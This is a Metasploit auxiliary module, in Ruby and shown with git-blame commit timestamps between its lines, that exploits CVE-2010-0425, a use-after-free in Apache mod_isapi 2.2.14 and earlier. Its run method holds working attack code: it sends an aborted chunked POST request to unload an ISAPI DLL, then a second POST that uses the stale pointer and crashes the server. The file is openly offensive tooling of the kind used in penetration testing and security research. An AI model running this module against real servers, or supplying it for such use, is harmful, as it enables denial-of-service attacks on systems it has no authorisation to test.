2010-03-08 23:21:17 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-03-08 23:21:17 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2010-03-08 23:21:17 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Auxiliary::Dos
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2014-03-11 16:10:39 +00:00
|
|
|
'Name' => 'Apache mod_isapi Dangling Pointer',
|
2013-08-30 21:28:54 +00:00
|
|
|
'Description' => %q{
|
2014-03-11 16:10:39 +00:00
|
|
|
This module triggers a use-after-free vulnerability in the Apache
|
|
|
|
Software Foundation mod_isapi extension for versions 2.2.14 and earlier.
|
|
|
|
In order to reach the vulnerable code, the target server must have an
|
|
|
|
ISAPI module installed and configured.
|
|
|
|
|
|
|
|
By making a request that terminates abnormally (either an aborted TCP
|
|
|
|
connection or an unsatisfied chunked request), mod_isapi will unload the
|
|
|
|
ISAPI extension. Later, if another request comes for that ISAPI module,
|
|
|
|
previously obtained pointers will be used resulting in an access
|
|
|
|
violation or potentially arbitrary code execution.
|
|
|
|
|
|
|
|
Although arbitrary code execution is theoretically possible, a
|
|
|
|
real-world method of invoking this consequence has not been proven. In
|
|
|
|
order to do so, one would need to find a situation where a particular
|
|
|
|
ISAPI module loads at an image base address that can be re-allocated by
|
|
|
|
a remote attacker.
|
|
|
|
|
|
|
|
Limited success was encountered using two separate ISAPI modules. In
|
|
|
|
this scenario, a second ISAPI module was loaded into the same memory
|
|
|
|
area as the previously unloaded module.
|
2013-08-30 21:28:54 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Brett Gervasoni', # original discovery
|
|
|
|
'jduck'
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2010-0425' ],
|
2016-07-15 17:00:31 +00:00
|
|
|
[ 'OSVDB', '62674'],
|
2013-08-30 21:28:54 +00:00
|
|
|
[ 'BID', '38494' ],
|
|
|
|
[ 'URL', 'https://issues.apache.org/bugzilla/show_bug.cgi?id=48509' ],
|
|
|
|
[ 'URL', 'http://www.gossamer-threads.com/lists/apache/cvs/381537' ],
|
|
|
|
[ 'URL', 'http://www.senseofsecurity.com.au/advisories/SOS-10-002' ],
|
|
|
|
[ 'EDB', '11650' ]
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Mar 05 2010'))
|
2010-03-08 23:21:17 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options([
|
|
|
|
Opt::RPORT(80),
|
|
|
|
OptString.new('ISAPI', [ true, 'ISAPI URI to request', '/cgi-bin/SMTPSend.dll' ])
|
|
|
|
])
|
|
|
|
end
|
2010-03-08 23:21:17 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run
|
2010-03-08 23:21:17 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
serverIP = datastore['RHOST']
|
|
|
|
if (datastore['RPORT'].to_i != 80)
|
|
|
|
serverIP += ":" + datastore['RPORT'].to_s
|
|
|
|
end
|
|
|
|
isapiURI = datastore['ISAPI']
|
2010-03-08 23:21:17 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Create a stale pointer using the vulnerability
|
|
|
|
print_status("Causing the ISAPI dll to be loaded and unloaded...")
|
|
|
|
unload_trigger = "POST " + isapiURI + " HTTP/1.0\r\n" +
|
|
|
|
"Pragma: no-cache\r\n" +
|
|
|
|
"Proxy-Connection: Keep-Alive\r\n" +
|
|
|
|
"Host: " + serverIP + "\r\n" +
|
|
|
|
"Transfer-Encoding: chunked\r\n" +
|
|
|
|
"Content-Length: 40334\r\n\r\n" +
|
|
|
|
Rex::Text.rand_text_alphanumeric(rand(128)+128)
|
|
|
|
connect
|
|
|
|
sock.put(unload_trigger)
|
|
|
|
disconnect
|
2010-03-08 23:21:17 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Now make the stale pointer get used...
|
|
|
|
print_status("Triggering the crash ...")
|
|
|
|
data = Rex::Text.rand_text_alphanumeric(rand(256)+1337)
|
|
|
|
crash_trigger = "POST " + isapiURI + " HTTP/1.0\r\n" +
|
|
|
|
"Host: " + serverIP + "\r\n" +
|
|
|
|
"Content-Length: #{data.length}\r\n\r\n" +
|
|
|
|
data
|
2010-03-08 23:21:17 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
connect
|
|
|
|
sock.put(crash_trigger)
|
|
|
|
disconnect
|
2010-03-08 23:21:17 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2010-03-08 23:21:17 +00:00
|
|
|
|
|
|
|
end
|